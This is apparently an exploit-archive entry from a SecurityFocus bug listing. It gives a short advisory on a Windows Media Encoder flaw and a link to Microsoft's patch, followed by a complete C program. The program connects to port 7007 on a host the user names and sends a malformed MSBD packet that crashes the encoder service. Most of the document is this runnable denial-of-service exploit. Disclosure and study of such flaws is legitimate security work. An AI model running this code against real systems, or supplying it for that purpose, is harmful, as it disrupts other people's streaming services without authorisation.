75 lines
No EOL
2.2 KiB
C
75 lines
No EOL
2.2 KiB
C
// source: https://www.securityfocus.com/bid/1282/info
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Windows Media Encoder is part of Windows Media Services. It's purpose is to convert content into a suitable format for video or audio streaming through the Media Services.
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If a specially malformed request is sent to the Windows Media Encoder it could cause the service to crash. The service would need to be restarted in order to regain normal functionality.
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/*
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*
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* Media Streaming Broadcast Distribution (MSBD)
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* Denial of Service Attack
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*
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* (C) 2000 Kit Knox <kit@rootshell.com> - Public Release: 05/31/00
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*
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* Causes the Windows Media Encoder to crash with a "Runtime Error!"
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*
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* "NSREX caused an invalid page fault in module MFC42.DLL at 0177:5f4012a1".
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*
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* Tested on version 4.1.0.3920 file "NsRex.exe" 998KB 1/11/00.
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*
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* Official Microsoft patch is available :
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*
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* http://www.microsoft.com/technet/security/bulletin/ms00-038.asp
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*
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* Thanks to Microsoft and the WMT group for their prompt attention to this
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* matter.
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*
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*/
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#include <stdio.h>
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#include <netinet/in.h>
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#include <sys/types.h>
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#include <sys/socket.h>
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#include <netdb.h>
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#include <arpa/inet.h>
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#include <string.h>
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#include <unistd.h>
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char bogus_msbd_packet1[] = {
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0x4d, 0x53, 0x42, 0x20, 0x06, 0x01, 0x07, 0x00, 0x24, 0x00, 0x00, 0x40,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x4e, 0x00,
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0x65, 0x00, 0x74, 0x00, 0x00, 0x50, 0x53, 0x00, 0x68, 0x00, 0x6f, 0x00,
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0x77, 0x00, 0x00, 0x00
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};
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int sock;
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int main(int argc, char *argv[]) {
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struct hostent *he;
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struct sockaddr_in sa;
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char buf[1024];
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if (argc != 2) {
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fprintf(stderr, "usage: %s <host/ip>\n", argv[0]);
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return(-1);
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}
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sock = socket ( AF_INET, SOCK_STREAM, 0);
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sa.sin_family = AF_INET;
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sa.sin_port = htons(7007);
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he = gethostbyname (argv[1]);
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if (!he) {
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if ((sa.sin_addr.s_addr = inet_addr(argv[1])) == INADDR_NONE)
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return(-1);
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} else {
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bcopy(he->h_addr, (struct in_addr *) &sa.sin_addr, he->h_length);
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}
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if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0) {
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fprintf(stderr, "Fatal Error: Can't connect to Windows Media Encoder.\n");
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return(-1);
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}
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write(sock, bogus_msbd_packet1, sizeof(bogus_msbd_packet1));
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for (;;) {
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read(sock, buf, sizeof(buf));
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}
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} |